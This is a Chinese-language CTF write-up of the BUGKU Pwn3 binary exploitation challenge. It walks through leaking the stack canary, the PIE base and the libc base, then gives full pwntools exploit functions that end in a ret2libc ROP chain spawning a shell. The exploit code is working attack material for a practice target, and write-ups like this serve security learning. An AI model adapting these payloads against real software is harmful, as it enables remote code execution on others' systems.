This page looks best with JavaScript enabled

BUGKU Pwn3 Write up

 ·  ☕ 5 min read · 👀... views

题目来源:https://ctf.bugku.com/challenges#pwn3

0x00 题目分析

首先常规操作checksec一波
sec.png

????…护盾全开?那还做个🔨 (╯‵□′)╯︵┻━┻
稳住,先别急着放弃,至少拖入IDA看一眼

ida.png

人没了…无后门函数,代码还这么复杂。不过静心看一遍,只有33行开始才是有用的,然后再仔细看一眼,只有红框处的两句是实际有用的,这样问题就能简化很多了。

然后来分析一波题目。很明显,第一个红框处的read是用于栈溢出的,而且溢出长度还自定义,,虽说下面有一个if判断读入长度是否大与0x270,但实则无所谓的,在第一个read中栈溢出后,if检测到过长,再次read时,只需要send一个小于0x260长度的字符串即可,这样就不会影响第一次溢出所要进行的操作。

这题的难点在于它的护盾全开,需要我们多次溢出获取canary和基址,但本质上是不难的,因为每次溢出原理几乎是相同的,只是exp会略长一些。这个程序每执行一次vul函数会有两次read,且第一次read后紧跟一个puts,puts是通过"\x00"截断输出字符串,所以我们只需要第一次read覆盖"\x00"然后用puts溢出一个值,然后在第二个read中修改ret地址劫持流程跳转回main函数用于恢复栈即可。通过多次调用vul函数来leak出所有需要的值最后就能getshell了。所以步骤如下

  1. 覆盖canary最低位,leak canary
  2. 输出vul函数的ret地址,减去偏移从而leak程序基址
  3. 计算偏移,输出栈上main函数的返回地址,减去偏移从而leak libc的基址
  4. 调用libc system函数getshell

0x01 leak canary

先看一下程序栈结构
stack.png
很常规,canary在rbp上面,那根据canary最低为必为"\x00"的特点,我们将其最低为覆盖,用puts接收后再将其置为原值即可。这里没什么套路直接上exp:

1
2
3
4
5
6
7
8
9
def leak_canary():
    sh.sendafter("path:\n","flag")
    sh.sendafter("len:\n","1000\n")
    sh.sendafter("input the note:\n",'a'*600+'b')
    sh.recvuntil('b')
    canary = u64(sh.recv(7).rjust(8,"\x00"))
    log.success("canary:"+hex(canary))
    start_main = 'a'*600 + p64(canary) + p64(0xdeedbeef) + "\x20"
    sh.sendafter("(len is 624)\n",start_main)    # return main

但是这里需要解释一下如何恢复栈,也就是payload最后为什么要加"\x20"。根据PIE的特点,地址的末三位是不会被随机化的,也就是我们IDA中看到的值,但在实际操作上,在程序基址还没有泄露时,我们只能操作末两位(因为只能两位两位的填充,倒数第四位是随机化的,所以没法修改倒数第三位)

vul_ret.png

可以看到,vul函数的ret地址末三位是0xD2E,而main函数的起始地址是0xD20,它们倒数第三位是一样的,那就说明可以通过上述方法覆盖实现跳转。但为什么覆盖rbp以后两位就是覆盖ret的末两位呢?因为x86架构全部采用小端序存储,即高字节存在高地址处,然后栈是从高地址向低地址增长的,那ret的末两位(低字节)自然存在栈的低地址处,即靠近rbp的那一头,所以覆盖rbp以后的两位就是覆盖了ret的末两位。

0x02 leak base_elf

拿到程序canary以后就可以随便实现栈溢出了,所以接下来需要leak程序基址,把PIE给破防了。那怎么leak程序基址呢?按照前面的思路,padding至rbp为止,然后用个recvuntil就可以输出ret的地址了。前面都好处理,关键点在泄露出ret的地址后,如何得知偏移。从上面那张反编译后的Text View图可以看出,main函数里通过call调用了vul函数,而call指令会将下一条指令的地址压栈,vul函数执行完毕后,ret指令就会将RIP指向call指令的后一条指令的地址。分析出原理后,偏移就显而易见了,vul函数的ret值相对于程序基址的偏移就是0xD2E

1
2
3
4
5
6
7
8
def leak_baseelf():
    sh.sendafter("path:\n","flag")
    sh.sendafter("len:\n","1000\n")
    sh.sendafter("input the note:\n",'a'*(600+8+7)+'b')
    sh.recvuntil('b')
    base_elf = u64(sh.recvuntil("\x0a")[:-1].ljust(8,"\x00")) - 0xD2E
    log.success("base_elf:"+hex(base_elf))
    sh.sendafter("(len is 624)\n",start_main)    # return main

0x03 leak base_libc

做到这里为止,已经相当于关掉了canary和PIE保护,那这题就已经和最普通的ret2libc题没区别了。这里我想到可以泄露libc基址的方法有两种(如果有大师傅想到别的骚操作欢迎留言),一种是延续前面的方法,栈溢出后仍一直padding,直至main函数的返回地址前,输出main函数的ret的值。main函数的ret的地址是libc空间中的某条指令,计算偏移即可获取libc基址;另一种方法则是常规的借助base_elf调用puts函数输出puts函数的真实地址,因为puts函数是libc函数,减去其偏移即可得到libc基址。

这里我采用第一种方法,这个方法难点在于main的ret地址与rbp之间的偏移如何计算,其实也不难,直接read前下断点或者edb跟踪一下就看出来了(注意要在前面的工作已经做完的情况下再下断点或跟踪,重复调用main函数这个过程是会栈抬升的)
edb.png
pwndbg.png

然后要注意的是,得到ret的地址后,它与libc基址并不是libc.symbols["__libc_start_main"],而是libc.symbols["__libc_start_main"]+240 如果你问这240是怎么来的,emmm….这图上不写着了嘛 (╬▔皿▔),然后其实main函数ret的值一定是 __libc_start_main函数地址加240位偏移

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
def leak_baselibc():
    sh.sendafter("path:\n","flag")
    sh.sendafter("len:\n","1000\n")
    # 打印栈观察__libc_start_main在rbp后0x28
    payload = 'a'*(600 + 8*5 + 7)  + 'b'
    sh.sendafter("input the note:\n",payload)
    sh.recvuntil('b')
    base_libc = u64(sh.recvuntil("\x0a")[:-1].ljust(8,"\x00")) - (libc.symbols["__libc_start_main"] + 240)
    log.success("base_libc:"+hex(base_libc))
    restore_stack = 'a'*600 + p64(canary) + p64(0xdeedbeef) + p64(base_elf+0xD20)
    sh.sendafter("(len is 624)\n", restore_stack)

如果用第二种方法,那更简单,payload改成这样就行了,最常规的套路
payload='a'*600+p64(canary)+p64(1)+p64(pop_rdi+base_elf)+p64(elf.got['puts']+base_elf)+p64(elf.plt['puts']+base_elf)+p64(base_elf+0xd20)

0x03 getshell

然后结束了呀,所有需要的值都已经leak了,直接常规操作弹shell

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
def getshell():
    pop_rdi_ret = 0x00000e03 + base_elf
    system = libc.symbols["system"] + base_libc
    binsh = libc.search("/bin/sh\x00").next() + base_libc
    log.success("system:"+hex(system))
    log.success("binsh:"+hex(binsh))
    sh.sendafter("path:\n","flag")
    sh.sendafter("len:\n","1000\n")
    payload = 'a'*600 + p64(canary) +p64(0xdeadbeef)
    payload += p64(pop_rdi_ret) + p64(binsh)
    payload += p64(system)
    sh.sendafter("input the note:\n",payload)
    sh.sendafter("(len is 624)\n", "aaaa\n")

flag.png

总结一下吧,这题考察点其实就是破三个护盾,整体流程应该是简单的,多次劫持流程就行,没有别的设坎的地方,我所用的方法是最常规的,不知道有没有更骚的姿势或者其他非预期方法,或者有没有写错的地方_(:」∠),欢迎大师傅们留言指出。

Share on

Qfrost
WRITTEN BY
Qfrost
CTFer, Anti-Cheater, LLVM Committer